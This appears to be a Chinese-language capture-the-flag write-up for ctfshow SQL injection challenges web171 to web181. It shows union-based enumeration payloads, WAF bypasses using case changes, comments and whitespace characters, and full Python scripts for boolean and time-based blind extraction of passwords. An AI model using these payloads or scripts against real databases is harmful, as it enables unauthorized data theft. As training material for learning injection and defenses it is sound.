web171

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

给了源码

闭合单引号 而且字段可以直接看出三列

爆库

1' union select 1,database(),3--+

ctfshow_web

分析下给的源码

  1. 选择字段
    • select username, password: 选择user表中的usernamepassword列。
  2. 指定表
    • from user: 指定查询的数据表为user
  3. 条件
    • where username !='flag': 条件是username不等于'flag'。这确保查询结果中不包含用户名为flag的记录。
    • and id = '".$_GET['id']."': 条件是id等于从URL参数id获取的值。
  4. 限制结果
    • limit 1: 限制查询结果最多返回一条记录。

参数可控可以猜测用户名为flag的用户就是我们的答案

万能密码绕过

1'||1%23

也可以or截断

1' or username = 'flag

ctfshow{1ae89b71-537e-4704-9493-f90aa665f1c0}

web172

查看源码

看到select.js

layui.use('form', function(){
var form = layui.form;
form.on('submit(*)', function(data){
var id = data.field['id'];
var table = layui.table;
table.reload('user_table', {
url: 'api/?id=' + id
})
return false; // 阻止表单默认提交行为
});
});
  • **form.on('submit(\*)', function(data){ ... })**:监听表单提交事件,获取表单字段中的id值,并重新加载表格数据。

注入点为id字段 单引号闭合

尝试上一关的payload

{“id”:”26”,”username”:”flag”,”password”:”flag_not_here”}]}

发现不在这

老实注

字段为3位

爆库名

api/?id=1' union select 1,database(),3--+

{“id”:”1”,”username”:”ctfshow_web”,”password”:”3”}]}

爆表

api/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

{“id”:”1”,”username”:”ctfshow_user,ctfshow_user2”,”password”:”3”}]}

password表没东西

ctfshow_user,ctfshow_user2的列一样

id,username,password

爆值

在第二张表里

api/?id=1' union select 1,group_concat(id,username,password),3 from ctfshow_user2--+

ctfshow{b7520f1e-a489-493c-aabb-e1e978bae8cc}

web173

依旧是在api这个接口

多了一张表3其余和上一关一样

api/?id=1' union select 1,group_concat(id,username,password),3 from ctfshow_user3--+

web174

这里在api路由这里没回显

直接看无过滤注入4模块

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

有过滤的字符型注入,更改正则表达式 /flag|[0-9]/i,返回结果中不能有数字

考虑盲注

抓包接口是api/v4.php

0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'lbw','xyz') %23

这里稍稍解释下吧

编写盲注脚本

import requests

# 提取常量
PAYLOAD_TEMPLATE = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'lbw','xyz') %23"
URL = "http://d0a608fb-8c33-4e69-abbc-5429035225b4.challenge.ctf.show/api/v4.php?id="
ASCII_START = 32
ASCII_END = 127

def test_chr(index: int, offset: int) -> bool:
response = requests.get(URL + PAYLOAD_TEMPLATE.format(index, offset))
if "lbw" in response.text:
return True
elif "xyz" in response.text:
return False
else:
raise ValueError("Unexpected response content")

def find_flag() -> str:
index = 1
flag = ""
while True:
start, end = ASCII_START, ASCII_END
while start < end:
point = (start + end) // 2
if test_chr(index, point):
start = point + 1
else:
end = point
flag += chr(end)
print(f"[*] flag: {flag}")
index += 1
# 假设我们知道flag的结束字符,这里可以设置退出条件
if len(flag) > 50: # 这个条件可以根据实际情况调整
break
return flag

if __name__ == "__main__":
final_flag = find_flag()
print(f"Final flag: {final_flag}")
#ctfshow{fe9a4453-ad08-4e6f-a83c-bcc2aa982a77}

ctfshow{fe9a4453-ad08-4e6f-a83c-bcc2aa982a77}

web175

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

也就是说什么都不会返回

考虑时间盲注

1' and sleep(2) %23

可行

上一关步骤一样

编写脚本

import time
import requests

# 常量
CHAR_SET = '1234567890-_{}qwertyuiopasdfghjklzxcvbnm' # 字符集
BASE_URL = 'http://80f58198-ee06-4a46-a2cc-3f2aea94e556.challenge.ctf.show/api/v5.php?id={}&page=1&limit=1'
DELAY_THRESHOLD = 2 # 延迟时间(秒)

def is_correct_char(position: int, char: str) -> bool:
"""判断指定字符是否在特定位置"""
sql_payload = "1' and if(substr((select password from ctfshow_user5 where username='flag'),{},1)='{}',sleep({}),0) %23".format(position, char, DELAY_THRESHOLD)
url = BASE_URL.format(sql_payload)
start_time = time.time()
requests.get(url)
elapsed_time = time.time() - start_time
return elapsed_time >= DELAY_THRESHOLD

def extract_flag(max_length: int = 64) -> str:
"""逐字符地提取 flag"""
extracted_flag = ''
for pos in range(1, max_length + 1):
for char in CHAR_SET:
if is_correct_char(pos, char):
extracted_flag += char
print(f"[*] Extracted flag so far: {extracted_flag}")
break
return extracted_flag

if __name__ == "__main__":
final_flag = extract_flag()
print(f"Final extracted flag: {final_flag}")
#ctfshow{7b9f5582-39db-4e99-bed6-9da1772ed2ba}

ctfshow{7b9f5582-39db-4e99-bed6-9da1772ed2ba}

web176

过滤了union select

大小写绕过

万能密码可以直接绕过

1'||1%23
1' Union Select 1,password,3 from ctfshow_user --+

ctfshow{939338e1-d47c-461b-bc76-f4e60435ae80}

web177

1'||1%23

过滤空格 而且 –+,#应该也过滤了

/**/ %23

1'/**/union/**/select/**/1,group_concat(password),3/**/from/**/ctfshow_user%23

web178

依旧可行

1'||1%23

增加了/**/的过滤

可以这些绕过

回车(%0a) `(tab键上面的按钮)(%09) tab 和  %0b %0c %0d %a0
1'%0aunion%0aselect%0a1,password,3%0afrom%0actfshow_user%23
1'%09union%09select%091,password,3%09from%09ctfshow_user%23

ctfshow{a2e33152-7f53-4000-b89b-972b5fc739a2}

web179

1'||1%23
%0c可以用
1'union%0cselect%0c1,password,3%0cfrom%0cctfshow_user%23

web180

还是过滤空格 只不过这次加了对 #(%23) 的过滤

万能密码依旧能打

只不过需要

这里使用 --(–后加个空格) 绕过。

1'||1--%0c
1'union%0cselect%0c1,password,3%0cfrom%0cctfshow_user--%0c

ctfshow{94f1ba08-b230-4dda-9a6a-eeaac94caef2}

web181

继续造

1'||1--%0c

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}